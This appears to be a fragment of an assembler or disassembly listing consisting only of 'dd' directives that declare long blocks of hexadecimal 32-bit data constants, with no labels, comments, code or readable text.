		dd 6137A06Eh, 6A7E01D3h, 0C3442332h, 22681902h,	0FD8DDB8Bh
		dd 55046FCDh, 815489CCh, 0F400E04h, 1D0A0189h, 81B05722h
		dd 2E4E4C38h, 2BED84DDh, 1A9ED039h, 260D7583h, 1112D339h
		dd 2CF5141Eh, 0B3291593h, 0E0FCFCFCh, 5E9DCF06h, 14F6CB2h
		dd 7566E93Dh, 0FC40F9AFh, 6C401DF2h, 0C11B62C1h, 2D9650FFh
		dd 0D1197708h, 97448D8Eh, 7842080Ah, 0FCCAE6B1h, 8140A419h
		dd 0CB15D156h, 32565FDCh, 0C01F8AB3h, 0FF747D80h, 0F7DEA090h
		dd 6FF74CEh, 0EC088D43h, 20DC33A3h, 10671083h, 26502605h
		dd 0DD95D826h, 5874FF73h, 0E4472C5Eh, 0E8B190E4h, 64646449h
		dd 39EFD98Ah, 733F8864h, 37771D7Ah, 9504EB14h, 81845149h
		dd 443B1A08h, 0BF63B096h, 567504EFh, 4829802Fh,	2F732839h
		dd 79B6230h, 96946419h,	3794890Ch, 0C2765BEFh, 40BFEB6Eh
		dd 0DC0981FEh, 9C08E9D2h, 0BD284F39h, 0B0B02555h, 0EE750759h
		dd 5F99E1CFh, 3FFCBBB4h, 3D05FF68h, 58EC5DB3h, 138B053Bh
		dd 0FB43C0Ah, 6A70805Ch, 0A9403765h, 2321C9C8h,	6060601Dh
		dd 725DE10Ah, 1D1D2360h, 0D10D643Bh, 7533BF8Fh,	48038B3Fh
		dd 0B881B237h, 54304202h, 68430872h, 401D2C3Bh,	484ECF4Dh
		dd 3ADE5C16h, 59336146h, 0D2D5FB64h, 0F1F7A0B9h, 20116CA4h
		dd 697BF876h, 958907D2h, 681D4570h, 1F7196E5h, 11F2081Eh
		dd 465CF22Fh, 578722Ch
		dd 9876759Bh, 0FF103E27h, 0C9570F87h, 0D80C655h, 21C9C8E5h
		dd 58585823h, 72132047h, 5585858h, 5820C872h, 0C9139058h
		dd 3B5858C9h, 91927BD0h, 3B5C5C2Bh, 0CD138B86h,	0EB1D886Ah
		dd 5E4B0C08h, 85D30549h, 0F708B155h, 278FD131h,	902573D4h
		dd 38A70A74h, 0ECD66064h, 3B127AD5h, 30DDB64h, 0C35F7186h
		dd 5CBD7FEDh, 0D481549Dh, 682A917Ch, 5ACB6110h,	4FA94206h
		dd 0C03C1A2Ch, 0F1600F89h, 0CB44BAF5h, 0C0C1636h, 0D7013BEDh
		dd 0FDFB375Eh, 2F306C08h, 0BB1C1619h, 480166B3h, 400F0C08h
		dd 5B418910h, 4B246B4h,	0FC386936h, 39FDEC2h, 5DC28BECh
		dd 4480CDFh, 607D6373h,	2FEB6DD8h, 0C53B4644h, 9D195275h
		dd 0E65B1C8Dh, 4808560Dh, 0D92B6308h, 2CA04DF2h, 108D3334h
		dd 202F930Ah, 8E360C70h, 4618F648h, 0C08B674Dh,	0CE16E111h
		dd 2E118508h, 86F8740Ch, 0F846691Bh, 0A794F8F8h, 0D8C8CD23h
		dd 0ECEC1B8Eh, 0C3F4ECECh, 0C781B3Dh, 5544141Dh, 9C8D96F8h
		dd 0C10D59Ch, 43B02ACEh, 39D29A46h, 72392A0Ch, 0CC94B348h
		dd 0B60C100Ch, 0C4C9327h, 8D363E77h, 69D072F0h,	0B3F48FA9h
		dd 74E9047Ah, 0B50CA84Eh, 0A790F2A7h, 0FC4ED526h, 50F7153Fh
		dd 0C26848C1h, 35922B08h, 8D6D0C8Ch, 77B5534h, 0C643269h
		dd 2D167499h, 0BC38059Eh, 0B31C8CC3h, 615BAC03h, 0C1A9BAB4h
		dd 0AD4A1D53h, 420C7B3Ch, 2E64830Fh, 0B8784A58h, 997427D1h
		dd 0F8AC9052h, 793F758Ch, 0C9221559h, 2CCA9C59h, 3CF6DCE3h
		dd 104DD935h, 121717D6h, 320D496Fh, 16E90201h, 1BCBF17Bh
		dd 0C085C99Ch, 4D8941C1h, 0C54AFDE4h, 0DD4E8CBh, 0C507741Ch
		dd 0F98E592Bh, 74D8E440h, 72CF476Fh, 0D4D4F585h, 45856CCEh
		dd 1AD4C5D9h, 0CC65334h, 0D4C5B93Ah, 1B71F4A2h,	0A2F8B76h
		dd 3C333D74h, 0C975D8AFh, 0EB27669Eh, 82E13E16h, 0E31C018h
		dd 444D33ABh, 95991436h, 0CE9D1280h, 0E0B9CBF9h, 1080810Eh
		dd 2116D0DFh, 2D8107B8h, 3050D485h, 5F628C03h, 218B8743h
		dd 3A09D2Dh, 8501D7C9h,	26789BC4h, 3D05E1E8h, 0DF0C58C4h
		dd 40403621h, 0C8374318h, 22F15A10h, 6F4D9105h,	0A4145F83h
		dd 0D84B8F41h, 0E0FC8B1Ah, 52C0066Ch, 0A506F7C0h, 0CD9EFD9h
		dd 7322853Bh, 60D00D19h, 85D8BD23h, 0D26414DCh,	3D8326CCh
		dd 2C757EC5h, 0CF51BD81h, 6F8D3220h, 2B7EC5B2h,	60388C89h
		dd 9C3306D8h, 75C54F85h, 84CC3483h, 80D1D414h, 0B583B214h
		dd 96CE326h, 0DEEACF2Bh, 16C807D4h, 57853621h, 325DBCC1h
		dd 0BCBC7272h, 0CC4D5EBCh, 0C10DEC8Eh, 0BC049047h, 7C8363D9h
		dd 58D2923h, 0B9E08D8Ch, 6C276726h, 0C8C8EB58h,	0B3999248h
		dd 9287061Ah, 0CB19AF74h, 655AA70Eh, 72ABA2B3h,	1DD52E1Fh
		dd 1667E500h, 482C1929h, 952621C9h, 7230382Ch, 4864F90h
		dd 0C16C6B3h, 8B0D84D1h, 2468B7Eh, 1E681073h, 63E32670h
		dd 6A4B9417h, 488B48A2h, 4066134h, 8B740606h, 74D6D918h
		dd 273B2489h, 83253E72h, 32B3EA6h, 82F5203Eh, 9D00EFC2h
		dd 896A44A2h, 0CEC94083h, 9F9511ECh, 0F931B25Dh, 10187A41h
		dd 0C3E4FC63h, 0EFF87B19h, 0ECA8EC06h, 0F0EFD9EFh, 930C065Eh
		dd 0D167329h, 8605303Ch, 59F876A8h, 677D963Ah, 296723CFh
		dd 0CC0F78FCh, 7D191D0Eh, 0ED9328Ch, 0FC64E939h, 0E87689FCh
		dd 0E4E4647h, 0F8E8E8E8h, 279096EFh, 0EFFCE827h, 0F25C9223h
		dd 0EFF8765Bh, 0C9BD9AE8h, 0F85A32F6h, 81777606h, 0F06530BCh
		dd 3917F4EFh, 8D5EB9E9h, 0C3C3A1Dh, 4905F6FCh, 7B0A011Ah
		dd 198A171Ah, 7A6E0844h, 41448E41h, 1358F1BAh, 0C9E4018Ah
		dd 0ECCC02B9h, 54B58768h, 29C3D39h, 0F7A8862h, 5EF9DE8h
		dd 0D70035EAh, 4EF024BEh, 126BC73Dh, 0CD8D158Bh, 5500B8Ch
		dd 22C0B632h, 3A04A5DBh, 24048125h, 912CC369h, 0FA2D9C04h
		dd 0C3142A73h, 0EE17BA8Ah, 6C9B1C05h, 3F65428Bh, 0BCBC3C15h
		dd 0B026C4ECh, 810005EFh, 592C218Bh, 0CCA701C3h, 8C722844h
		dd 606803EAh, 0EF8C5B10h, 5B36CCD9h, 0BC4660Eh,	0CC7E96A8h
		dd 8A0EABC5h, 0CF02400h, 0C85F8D47h, 880BFD93h,	0C0F1301h
		dd 940C640h, 0B34436CEh, 48BF0911h, 7660B10h, 0CDB71B9h
		dd 1648E4F2h, 0C8ECC89Fh, 0F78F9BECh, 7B0C0622h, 2F8D0F79h
		dd 5FD4F636h, 88818406h, 0CC05EFA8h, 171B6706h,	4302081Fh
		dd 5867603Ah, 1A030CCEh, 6D4CD2FFh, 0BD06188Eh,	3D088633h
		dd 68D07DF3h, 0DEEC0088h, 76CA0A5Ah, 3D8717C5h,	317B731Dh
		dd 0DB207245h, 0DDB60011h, 74365B51h, 30A6E79h,	6D8551C8h
		dd 0FC858202h, 597A1A48h, 64032418h, 0E68F27h, 205C0A98h
		dd 0C0E4AB2Eh, 0A1B60E02h, 0B0907B2h, 0A5B94EBh, 0EC651A76h
		dd 184031BAh, 0B43D5919h, 0E20627B4h, 60190B7Dh, 102F6B40h
		dd 9E879461h, 0AE4A6228h, 7D4A3928h, 0F1956C6Bh, 4522EB08h
		dd 0B301643Ah, 1AC7F91h, 391917B0h, 0B0B0B039h,	36F03621h
		dd 201A73E0h, 0D0601003h, 8F678E0h, 0B08D71FCh,	8BCBEB61h
		dd 171CC043h, 38304098h, 241597Bh, 147591CFh, 4153B63h
		dd 0FA03C07Fh, 5C0F640h, 9547AA5Eh, 841AB9Eh, 566D7B17h
		dd 0BE733376h, 361DE430h, 0B0E0057Bh, 0A814660Ch, 5A0D1F12h
		dd 5779E437h, 93B0E80Ah, 48004CC5h, 0B0161675h,	0D085B23h
		dd 4456148Dh, 8EC8E20h,	224B1819h, 792B2C18h, 191799DFh
		dd 50764383h, 9805B8FEh, 0D583640Dh, 6747261Ch,	399D2C3Bh
		dd 406D7D36h, 53B9E22Fh, 0C4858227h, 47D88EC0h,	511C2EA5h
		dd 51AA10B7h, 8E2F1005h, 1C448C04h, 6F614FBAh, 54256D00h
		dd 2083180Bh, 44C60C8h,	1525A896h, 0B5A7052Fh, 0BEC725A3h
		dd 21510F1h, 4FB97400h,	98D48107h, 201AAD81h, 11B20323h
		dd 0AB1CB118h, 0B5333B7Ah, 1AB88146h, 6705A013h, 0E0E7DB7h
		dd 0E4CA808Bh, 0B40F7B9Bh, 0F82F1416h, 3FB18889h, 83E47607h
		dd 0F42C7E64h, 160064F4h, 0F420C9F5h, 0CE8A9068h, 0E00C39Dh
		dd 10E955E5h, 0F543A8h,	80F1E03h, 50701938h, 43C60856h
		dd 0EF1B62Ah, 341D13ADh, 426A4F55h, 8068E397h, 9C2E08CBh
		dd 0F025328Bh, 3C118E8Ah, 68EA0448h, 0B0998AE0h, 7C7080DDh
		dd 12CC682Eh, 26790970h, 9C74B4E4h, 0C11D9AD9h,	7CA9E378h
		dd 700822E3h, 19646591h, 78107419h, 0F3440279h,	9C05C607h
		dd 13CFC01h, 0D875CC47h, 1F0968A4h, 34276EF1h, 76151259h
		dd 65F4534Ah, 0B1C50EF4h, 0E465D502h, 0C8E0252Ah, 90530C80h
		dd 0A775CB07h, 0E4E17EE4h, 59F21121h, 61715CCDh, 1E466225h
		dd 0B67668E7h, 0E6E7CBDh, 8021C72Bh, 60D58EA7h,	0B073E4C1h
		dd 23E0A3ACh, 0B20217BEh, 300319F8h, 7D5814ECh,	18D9EE81h
		dd 85E3EB2h, 380708F4h,	2B7075A2h, 7E5321E6h, 0B0434B73h
		dd 5F06F0F0h, 685273F8h, 70250914h, 9B27D611h, 6E051DD9h
		dd 3867F076h, 599557Eh,	5D2E6B7Eh, 8996148Bh, 0C1FC2314h
		dd 1F90828Ch, 0D92C01F2h, 889F7118h, 6162036Fh,	88830FEFh
		dd 0C403E35h, 68F11708h, 2C368510h, 0D0F33C7Ch,	0BD2205FEh
		dd 46A8E072h, 61D8D535h, 0C86C30E0h, 0B5BEFBC2h, 0F703B1Ch
		dd 1A0BB045h, 6A8D82A4h, 0B2361CCCh, 29D8C4AEh,	46D9D678h
		dd 24958EF1h, 9E18041Bh, 0C84C9D44h, 0FED4C008h, 59F26804h
		dd 92FED540h, 0DEE7B0C7h, 6A498E1Ah, 96826A71h,	0DCDC9685h
		dd 0D8180058h, 0D4EA21F3h, 79357CFEh, 45423888h, 40D42454h
		dd 452F153Ch, 0E04859E8h
		dd 1E837616h, 77010535h, 4A142D19h, 0D410D918h,	0B81BFED3h
		dd 7D470E84h, 19489E8h,	24BE4606h, 0C763010h, 0E0A45124h
		dd 0D8C27FB7h, 0F017EBFFh, 0EFEB08EBh, 0EBEDEBh, 0A4B05FE9h
		dd 94491588h, 50F98408h, 8401B0FAh, 39004442h, 1A07FE58h
		dd 54799C20h, 0F0CF05FEh, 66282578h, 0D2378012h, 6B81B055h
		dd 5C5B8B1Ch, 2221641h,	3C8DFE04h, 0FEFE919Bh, 96FEFE54h
		dd 0C0B2DE20h, 22B6F4Dh, 9212724Bh, 9019FE54h, 0FF70AC23h
		dd 418E374h, 2C685653h,	18ACC3ACh, 78309CAFh, 0E65379C8h
		dd 82B72532h, 58D90708h, 0C1591CFEh, 2EBE3D21h,	65800Ch
		dd 21E4A678h, 444E19B0h, 637CA18Bh, 8F06C8C9h, 0CBD20ECh
		dd 4304314h, 0A33D56E8h, 0AF064B7Eh, 0A99810CBh, 62727C2Dh
		dd 81A5BA0Eh, 11766C80h, 0F61AE808h, 9D909782h,	0A4119AF8h
		dd 9410B98Dh, 3628987Ah, 65E467F9h, 0CE58C435h,	0CF96F010h
		dd 112485F4h, 0F198B34Fh, 1F030EFh, 7CAD8299h, 50181B1Bh
		dd 6C97D84h, 0ADD8C156h, 5173413Bh, 0FA7E01Dh, 387603C8h
		dd 2A740D0Dh, 0F21C741Fh, 16203C80h, 7F100E74h,	78224309h
		dd 2E00C67Fh, 0F890A0EBh, 64B19822h, 39A4A0B6h,	20F0E103h
		dd 0DC2F765Dh, 0FC88A4F2h, 24FC4540h, 430C28DAh, 1301061Ah
		dd 795ECB05h, 4B08A065h, 647D15C2h, 157D0863h, 98950D19h
		dd 0CB039404h, 0B239DEDAh, 80FD41B2h, 6592062Eh, 0C0C2192h
		dd 21927006h, 10101099h, 0C181980h, 24E0F24Ah, 87B85056h
		dd 1D5AC415h, 0B660254Bh, 74044B2Ch, 0A1278010h, 58808E7Ah
		dd 0C70C8BFDh, 141E1BBAh, 0EB80B84Fh, 9078216Bh, 14239E6h
		dd 0A4237049h, 27028E79h, 92362268h, 0F29D039Dh, 6A87C805h
		dd 9B283356h, 0EF60FDF0h, 4807BEF5h, 0D2054A0Eh, 3623C0D6h
		dd 4021603h, 2082B3Eh, 1266A3Fh, 0D8484201h, 729409ECh
		dd 81EC1F30h, 0F4F920DCh, 5E8194FDh, 0D979DCB7h, 93B5FF30h
		dd 3BFBE8E6h, 48202F54h, 8B0415FFh, 0F406D355h,	28BC2452h
		dd 58D7007Eh, 0C2840A0h, 49F90CCDh, 0C28106A6h,	0F53704E1h
		dd 7359CECh, 92E1F51h, 0B1157DFCh, 0EF922953h, 1618560Ch
		dd 19863EE8h, 0AB42E66Ah, 201CFD9h, 0B12F1675h,	3708B855h
		dd 1691E423h, 52BC003h,	74BB5562h, 1DB29B60h, 31CF4903h
		dd 0EC3A0BDEh, 57E082EDh, 4220705h, 75779A9Ch, 0C8BD98BEh
		dd 0C06FBE4h, 45BD7230h, 35CCEC4h, 6850CF10h, 9C021D54h
		dd 0DCF364CDh, 0FBF7B508h, 0B64DE28Ch, 6D3D03C0h, 5151F72h
		dd 0B2B2B64Bh, 7EC04379h, 6C3B9755h, 375C5932h,	0B6581DE9h
		dd 0DF935E27h, 0E28BD21h, 8400E4F4h, 31A89849h,	79315575h
		dd 501CDB2Bh, 418DE411h, 465C5476h, 0FC20DDD1h,	725CCCFEh
		dd 0FCFEFC40h, 0E0AB2134h, 7C240D2Dh, 0F4C80C51h, 0F8D0F8FDh
		dd 0F6BC751Ah, 2508A830h, 82CCF602h, 0E680E005h, 62C9F616h
		dd 3FCB01h, 0C3597D5Bh,	404DAC8Bh, 6EB68268h, 11B03409h
		dd 0E4999B9Fh, 20C93919h, 40FEE401h, 5C7204E8h,	6AFEE472h
		dd 0BD939E73h, 5985545Ch, 2F124431h, 0E0F34232h, 668F7B05h
		dd 2272C073h, 10E8F803h, 163330E6h, 0A40B48B6h,	60738891h
		dd 0C98A0251h, 4D657201h, 0A4524C24h, 8CF0B06h,	4422860Dh
		dd 3F687834h, 47B635BDh, 0F8D0D985h, 0E142D3Bh,	3D6157C2h
		dd 0FEF8925Eh, 48F25899h, 127BFEF8h, 1085B266h,	7A6E3C30h
		dd 0EB05780h, 0F7FC3F39h, 0C5367B0Eh, 40D0C10h,	1A8A08A9h
		dd 0B2D48C90h, 0E68824BAh, 0F4C6D110h, 486DC5h,	73123B02h
		dd 6078011Dh, 0D18E018h, 0E03AAE89h, 0D433F515h, 2A2CE44Dh
		dd 0F862F560h, 0AD93ECD3h, 0F45C00BFh, 0A9AF5D59h, 0C7B0ECBAh
		dd 0B289738h, 60C11300h, 6CDA9104h, 2760613Fh, 4488E4A3h
		dd 0E4A3E80Dh, 0D728356Fh, 0C92306E4h, 0A8E8468h, 9A53A814h
		dd 0CB114755h, 0C7860406h, 498749DCh, 4000E2Eh,	3D71C7DCh
		dd 9B871126h, 5A1600BCh, 11898C5h, 33D8A324h, 4822C6F7h
		dd 24D1661h, 0E1EDCA86h, 4F8E2868h, 71E027DCh, 137337BAh
		dd 15F2380Eh, 43B10971h, 73BABC4h, 0BDEA8408h, 4C017019h
		dd 40935562h, 0C9689E0Ch, 207F1549h, 73435D00h,	1D0060DCh
		dd 6E4F305Ah, 0C4B3D00h, 88BBE0D1h, 17A418Bh, 61FD904Bh
		dd 0E4929901h, 6C8541E4h, 34FFE452h, 0D60B14F2h, 24319528h
		dd 78A129B8h, 3F032C55h, 3651D846h, 0F788C63h, 23C8447Eh
		dd 4D5C3Ah, 657201C1h, 81A9A951h, 0DFBB01Ah, 5E044261h
		dd 53EC63C0h, 1D2424D2h, 1BE888E8h, 49202199h, 21D911B6h
		dd 142B2D94h, 0D861305Dh, 2A2E768Ch, 4093EED8h,	0FC68196Dh
		dd 8E8C7CEBh, 14AC99E0h, 4116B61Bh, 259207A8h, 7D0E02ECh
		dd 497F14F4h, 66E547Ah,	0E2598C5Dh, 1F18C84Ch, 51EC9898h
		dd 0C81583E5h, 33322481h, 28EEC502h, 0CCDCEFABh, 0C27C8847h
		dd 39477254h, 0F8832C61h, 0FDF4B960h, 2B55A010h, 0F1858FEEh
		dd 6F8645Eh, 2532B50Ch,	4C43D65Ch, 0B0FC90FCh, 3A06F195h
		dd 8762144Ah, 99319654h, 85CECAADh, 0B5AE29F1h,	8D85863h
		dd 23788C1Bh, 0D92D95B0h, 518300AEh, 0D9848C6h,	8323C798h
		dd 74E4F000h, 798EA01Fh, 6059E359h, 5CF99108h, 96C83050h
		dd 4976E32Dh, 8E41517Bh, 0F0478400h, 41900E16h,	38B4BD82h
		dd 2E51158Bh, 2CDE17C4h, 0B3E434FAh, 4083BB9h, 0FA2CFA30h
		dd 127288B0h, 6A14065Eh, 66746B10h, 6E291145h, 39D22009h
		dd 8F310B86h, 0F0449C6Bh, 7D4E914h, 1C210B48h, 661C33Ch
		dd 34EE1E4Eh, 20426471h, 9B422B6Ah, 90664070h, 0C9A7ECFAh
		dd 0A71DBBADh, 0BE5452Ah, 0F9208F59h, 2ECA02F8h, 4F334F3h
		dd 591D9C0Ch, 0EBE9280Ah, 0F4EC0B0Ah, 0EF0F7B06h, 509C09B5h
		dd 0D9A4043Dh, 8EB8EB00h, 0C1CCD252h, 0C5448413h, 0A1096DF2h
		dd 0CBC65D8Dh, 0F00A195Bh, 0D64564B0h, 3959890Dh, 982A86Bh
		dd 322924D4h, 90194880h, 932332B3h, 34251FCDh, 24503B1Ch
		dd 8D1CC20Bh, 45AF6Dh, 31A918DAh, 854B3928h, 0F25A3096h
		dd 34F1F0D9h, 0FE585877h, 0E9201000h, 47C15764h, 20E91C85h
		dd 0C76BE91Ch, 0F308DE22h, 0D282B66h, 0D9360228h, 24612035h
		dd 0B4BEC967h, 55671372h, 72032321h, 20181820h,	18CE219Bh
		dd 8186427h, 2C724740h,	6CB4D0Dh, 65922EC2h, 0EB910A51h
		dd 160E2810h, 84B8CC8Ah, 0BDEA2C1Ch, 17FE4055h,	443901A3h
		dd 5693CFEh, 809F207Bh,	67FE40A7h, 9F3C2FD5h, 4055D45Fh
		dd 0FE8EF8FEh, 94E4BCD9h, 0FE38FE3Ch, 0ECD4FE40h, 0FE382720h
		dd 0D80DBB67h, 5558C025h, 8C34CABDh, 0CE819E20h, 48241434h
		dd 52CED8A7h, 38344C9Bh, 2F119ADBh, 149508D9h, 0B0390C66h
		dd 174A2DB3h, 0B364C20Ah, 1CB69447h, 47E01E1Ah,	11B55DFCh
		dd 97732D68h, 9B07584h,	184AA7B3h, 898B3715h, 2231F64Ah
		dd 0C5F7EEC7h, 35C3A848h, 34CA6597h, 4826DF42h,	14B816BBh
		dd 311D5306h, 840D1261h, 541C1206h, 796A1EC0h, 0D5DFF493h
		dd 0E438A588h, 0B29E105Ah, 80D5EB5h, 277529F0h,	86292F0h
		dd 85A30A35h, 6C25A859h, 0FC50E9F4h, 5920838Fh,	64D23854h
		dd 0ABC13751h, 22764D68h, 28CB1487h, 942CDEC2h,	7660AFBh
		dd 6A1648A2h, 0A180F66Ah, 0D0B7520h, 0CD11EB5Ch, 0D4F82688h
		dd 6C14D6A2h, 3B34E165h, 11260C1Ah, 4D024B7Dh, 0F5C13B0Ch
		dd 0A6995862h, 152FD2E0h, 222BC54Bh, 0D61B18C9h, 774F3081h
		dd 0C635134Ah, 0BA140190h
		dd 2325156Ah, 0FAD8333Ah, 0F0F8241Dh, 71838F4Ch, 104D3B38h
		dd 21A2A6AAh, 87B144Ch,	131525EDh, 3BF85F37h, 5637705Bh
		dd 0FC8D0FC0h, 7C832BF8h, 92D65B81h, 4950A235h,	6C1F4873h
		dd 556DD83Bh, 288A044Bh, 1627813Ch, 0AE54340Bh,	81048BFDh
		dd 1461E12Bh, 0D66DFEF4h, 4EF4A645h, 89F45575h,	42EB8114h
		dd 0E6D9B394h, 0C4F821C1h, 0A6428D33h, 1D2A092Ch, 3EE0814h
		dd 9B48F8F4h, 2D289669h, 0F8EBBD5Bh, 8B575653h,	10737D36h
		dd 1F74C985h, 0BEE1BF9h, 107401FFh, 788068Ah, 460B6C84h
		dd 2D0F4947h, 0AB3084C6h, 5F0007F8h, 9AEA5B5Eh,	7080F603h
		dd 7C30DC22h, 37390D10h, 7F8A362Ah, 0B0093230h,	6364B001h
		dd 102BA108h, 8D8CD11Ah, 0F455F4F0h, 7633E3F4h,	390B805Bh
		dd 45627F08h, 0B440B6F4h, 9059E39h, 0B2122C36h,	77428811h
		dd 0ECE1516h, 75E939B4h, 0F48AA821h, 20101B31h,	2912087Eh
		dd 0E052C82Ch, 6C06D88Ch, 742C608Bh, 0DD26Eh, 8981993Dh
		dd 4D750A0Dh, 85E1D323h, 7C03FC6Ch, 3C931A35h, 122C5F64h
		dd 0F750A11h, 937B7080h, 390124DAh, 0EB44110Bh,	14EF8AB9h
		dd 656BA1DBh, 8D37996h,	361ACC08h, 2164089Eh, 7A4FF210h
		dd 0B15D9A7h, 0CE47A24Ah, 875E905Dh, 1A0C3304h,	0F5F2C64Ch
		dd 391136A5h, 40CDE374h, 0F4CE30EFh, 7599086Fh,	0C0FEC909h
		dd 888098Ah, 6B3D12D4h,	598D08C0h, 122F1235h, 0DCE90E99h
		dd 853628ACh, 0F1F8482Fh, 69C1BC44h, 0D1902A06h, 5FA0C09Eh
		dd 443E6CFDh, 20537D04h, 0B8E587C9h, 15752E23h,	9E6D92EBh
		dd 32EB0CCEh, 21118A22h, 187934Eh, 4314A60Ch, 0CF093A4Fh
		dd 0E3A0EBBFh, 68CF2E6Ah, 60E84FE2h, 7E03D045h,	0CD066ECCh
		dd 114CC6C6h, 10051444h, 10EEE650h, 62FD789Ah, 42740105h
		dd 0E686ACDDh, 3227402h, 54376D3Bh, 2195186Ch, 2D08D09Eh
		dd 90064622h, 3B1019B1h, 19190014h, 0A182140h, 762301Ah
		dd 41D0518Ah, 72D8C1AFh, 1801E4E6h, 0AD51741h, 0D6143A24h
		dd 832973B6h, 6FE6DE38h, 0D5B33937h, 74731F61h,	3D690A0Fh
		dd 5B223395h, 860E4832h, 3D55869h, 0B33674C1h, 0C2B13130h
		dd 403E608Dh, 66C1488h,	0B6B592Fh, 200C6208h, 2CD87618h
		dd 0ED0F3F68h, 2C6C90B8h, 0BB7629ECh, 0CCB5068h, 1B621D97h
		dd 10E2F0Dh, 0F5759B39h, 0C452C42h, 0B08D85ACh,	0E6425E26h
		dd 0D3C524DDh, 0BC174410h, 0B306C403h, 0BFEF0383h, 693B3E6Dh
		dd 519ED9Ah, 0EC256470h, 266BFCF4h, 0CC0A690h, 6503D4CCh
		dd 0DCA6AAB3h, 4127EFE4h, 0C16A6B01h, 545C0EECh, 6FB47EA1h
		dd 0F20D94CAh, 44CDE201h, 86E496Eh, 0A8D6360Bh,	5ED01D78h
		dd 0A5048B88h, 0D31DF8ECh, 29B17BA2h, 0E01DBC3Bh, 9E6BC92h
		dd 1DD96CD5h, 0D0671274h, 6826BF08h, 0C8107D54h, 1937B218h
		dd 5B20E105h, 2761B49h,	712CE8E1h, 0E1A7BD36h, 60C2463h
		dd 88037FB7h, 0E8A0A609h, 9BEC7B52h, 16F4C374h,	16E43BE4h
		dd 64DF603h, 16E056E0h,	0FB0D91FCh, 16FC7126h, 64AE85A6h
		dd 0C08D1B0h, 457BC00Bh, 70E0893h, 3090319Ah, 0BC4EBFD4h
		dd 207148B3h, 9190FF5h,	1F27583Bh, 0AC09F87Fh, 7D22DDEBh
		dd 0D60D6354h, 0E4F478B8h, 3C87277Bh, 3C093FF4h, 0F5E0CFFCh
		dd 52F4F540h, 9620EBE7h, 4B60B26Ch, 1F3F0D49h, 36333654h
		dd 5CF4AEB7h, 890F122Bh, 9235BF6h, 94310FB7h, 1860D8ADh
		dd 0A7275B0h, 0CB63284h, 0E45589E0h, 0B02B1520h, 1BCAAEC0h
		dd 0E486A074h, 85B05C52h, 8C5C3AF8h, 0FC0A0A29h, 0D423C017h
		dd 0BA77B034h, 12370572h, 424076DDh, 21AF0A0Fh,	25F83E64h
		dd 0CB2D1C0Ah, 42ECE80Ch, 607B65C0h, 0EC30254Bh, 495C7213h
		dd 76D8C177h, 4B180B73h, 95C8C947h, 3237428Ch, 5C8C95C8h
		dd 41E2126h, 19C81C8Fh,	8730A10h, 33C230D1h, 0E825157Ah
		dd 19CD1B6Ch, 2C5A06B6h, 0EDB3913h, 461816AAh, 301FFE19h
		dd 9EA070Bh, 34205F07h,	88C43AAEh, 8CA572DCh, 370A09EDh
		dd 91201356h, 59D9346h,	3A271135h, 18600108h, 4A18C421h
		dd 505A80C4h, 1508A4FEh, 34330593h, 4508CA7Ch, 0C487CC17h
		dd 8891C06Fh, 1D00052Bh, 0C814E8C1h, 0AF415AE6h, 0B7D81332h
		dd 0C84D1063h, 1EA082E0h, 1BCFF8ECh, 0A4053BD0h, 18015180h
		dd 0B29DDC8Eh, 0C28B14F9h, 0E101Fh, 0D0AFFADCh,	6A0A4837h
		dd 1F4895h, 0E51C991Dh,	8930C215h, 0F9A0A4DAh, 82C3101Dh
		dd 0F8A29E77h, 0E81A18CBh, 64CDD336h, 0E02E7813h, 0FCD79464h
		dd 24863E08h, 8DFAE446h, 472EFC16h, 743023BEh, 99270FBh
		dd 0F155F8F0h, 8368B358h, 34750428h, 0B35B3236h, 82BFA4Ah
		dd 1C0A81F0h, 2ECEC5F2h, 2122464h, 0B61C9A60h, 0B2758BCBh
		dd 0CDB2153Ch, 209022F7h, 1D76EB5Ch, 190E7939h,	558585Ah
		dd 0E439E48h, 393A5000h, 16439E4h, 0C4131C4Ch, 98364D80h
		dd 4217AB44h, 0E756E46Ch, 98DFAF4h, 0E22B19C7h,	5733F0C9h
		dd 9AC4BCFCh, 50406FB3h, 8B3C0B0Ah, 55CD9C09h, 0A5806177h
		dd 0F706A684h, 2FDDDF82h, 89A20F51h, 890A789Dh,	8D057C95h
		dd 638A0F80h, 8511CDAFh, 0F4B58714h, 0F8F4CAE0h, 3568A86Ah
		dd 90E81102h, 920CD50Dh, 5B9C008h, 285CB660h, 0F8C0A2C4h
		dd 733DEF5h, 64CF8C0h, 4F78011Eh, 10F81C1Dh, 0C1A44EB5h
		dd 0F005A816h, 5028016Fh, 0AF17C7B3h, 2322D628h, 0BCE1720Eh
		dd 0B8F91C2Dh, 0F20CA4F8h, 0F40B25FBh, 0FADC1E91h, 0C93906B4h
		dd 0F918B480h, 641182B0h, 7B83B040h, 19290DEDh,	0B700555h
		dd 6473C8BDh, 0B0FADCB4h, 64520E4Ah, 1020CB73h,	77177242h
		dd 38E0ED91h, 13EC2C2Eh, 0D0B56077h, 0E4B1910Fh, 68C8F038h
		dd 25D89104h, 0A816CFh,	5B0E54F8h, 0AA200614h, 2C0C385Ah
		dd 34F99039h, 4838A1A6h, 6228040Ah, 29C11839h, 0ADFE9274h
		dd 0B84B2583h, 42F2C23h, 66FB80D8h, 10F0D8D5h, 72025760h
		dd 245632h, 90D48ED8h, 790FF02h, 42B196B8h, 384C2B0Fh
		dd 0A2503D2Bh, 730EFC86h, 2CCEF0Dh, 0D4365D78h,	0C771515h
		dd 60B3157Eh, 4785A8Fh,	7901EC4h, 0D6C68ECh, 0F48468F8h
		dd 1E49068h, 68F04079h,	0B068ECA0h, 60116CBh, 0F4020EE8h
		dd 0B5D301F0h, 88E8EC2Ch, 64744E06h, 4380754h, 0BEEDF8D0h
		dd 0C4854B72h, 0EEAC143h, 0F686E8D1h, 5016CAC8h, 72B00F03h
		dd 57D4928Ah, 0DE145093h, 3DD99E83h, 46C605FCh,	2CB0EC3h
		dd 720D54EEh, 570EC064h, 0FCF8C829h, 7924566h, 4E6FCF8h
		dd 791D9613h, 0EC17C50h, 0FCCD2CF2h, 222B79FCh,	60A0A473h
		dd 2001242h, 640F25BCh,	0FDF8FDF8h, 6495050Dh, 0FCF00457h
		dd 98CC05EDh, 11AE011Fh, 9D1166CBh, 195476F4h, 377A02C2h
		dd 8C8D2BFAh, 0DDFF1AB5h, 73D2B48h, 41F451AFh, 874FC973h
		dd 0E0AE60DDh, 0FE5820Fh, 0AF0E1B20h, 8B65D4B0h, 2E8D8189h
		dd 0F9F7F319h, 0A5D4596Ch, 0CADDFD8h, 26D09DD9h, 5A32DD23h
